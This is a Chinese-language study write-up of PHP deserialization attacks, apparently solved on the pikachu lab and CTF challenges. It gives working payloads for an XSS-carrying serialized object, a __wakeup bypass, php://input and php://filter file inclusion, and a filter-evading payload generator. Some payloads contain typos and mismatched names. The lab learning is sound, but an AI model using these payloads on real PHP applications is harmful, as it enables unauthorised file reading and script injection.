php反序列化-pikachu漏洞平台学习(7)
php反序列化
概述
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数: __construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup将在序列化之后立即被调用 漏洞举例: class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a); payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
0x01 php反序列化漏洞
通过文件下载漏洞下载反序列化源码:
得到后台源码:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
注释已经给出payload,构*射xss。
2019-8-27 反序列化更新
打开页面是一个类似淘宝的页面,没什么可点的,查看源码,拉到最低能够看到注释说有/index/index.php.
打开之后是一段php:
<?php
class Small_white_rabbit{
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the_f1ag.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
@unserialize($var);
} else {
highlight_file("index.php");
}
?>
明显是反序列化,这题对于大佬来说可能非常简单,但对于我这个菜鸡,反序列化没做几题,实际实践也没碰到一次的菜鸡来说,还是比较难的了。
代码要求我们get方式发送var,base64解码,使得反序列化后得到flag。这里一个知识点就是_weakup()魔法函数绕过。因为在我们提交的序列化字符必定要指定**$file为the_flag.php**,而_weakup函数在反序列化后会被调用,检查到file不是index.php就强制修改为index.php。所以必须绕过_weakup()。
上网查资料了解可以利用php反序列化注入漏洞。简单来说,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行**。**
这里在构造payload是还要注意$file属性为private,所以在构造时左右两边要加上 .
即:
O:18:"Small_white_rabbit":2:{s:24:".Small_white_rabbit.file";s:12:"the_f1ag.php";}
另外如果属性被protect修饰 则要加*,即:
O:18:"Small_white_rabbit":2:{s:7:".*.file";s:12:"the_flag.php";}
2019.9.12更新
php://input+php://filter+php反序列化
new bugku web21
首先进入题目主页
没有什么东西
右键查看源码
看到提示,后台接收三个参数,并且要求user(文件)值为admin.这里用php://input来控制user的值,post数据为admin。用hackbar构造payload。
绕过第一层判断。
看到include函数,尝试文件包含。
base64解码
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
有一个toString魔法函数,当一个对象被当作字符串处理时就会执行toString函数。先不管,在读取index页面
#index
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);//反序列化
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
可以看到主页进制我们读f1a9.php文件。并且echo了pass。因此需要构造pass序列化字符串,并且file属性为f1a9.php。
构造如下:
O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
源码:
2019年10月26日更新
在构*序列化代码最好还是用php一次性构造,否则一些不可见字符是无法我们手工输入准确的。
比如xctf这题。
这题其实比较新的就是这段过滤代码:
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
不过我们修改对象名字长度为+\d,那么就能绕过认证。
最终这题的payload:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");
$test = serialize($a);
var_dump($test);
echo("\n");
// $test = 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
$test = str_replace("O:4","O:+4",$test);
$test = str_replace(":1:",":2:",$test);
// var_dump($test);
echo("\n");
echo base64_encode($test);
echo("\n");
// echo($test);
这里想强调的是在生成序列化的过程中最好一次性由php生成。否则会出一些纰漏。
比如
$test1
和$test2变量在字符层面看不出差距,但var_dump明显长度不同。这是因为php反序列化对象时会用不可见字符修饰不同属性。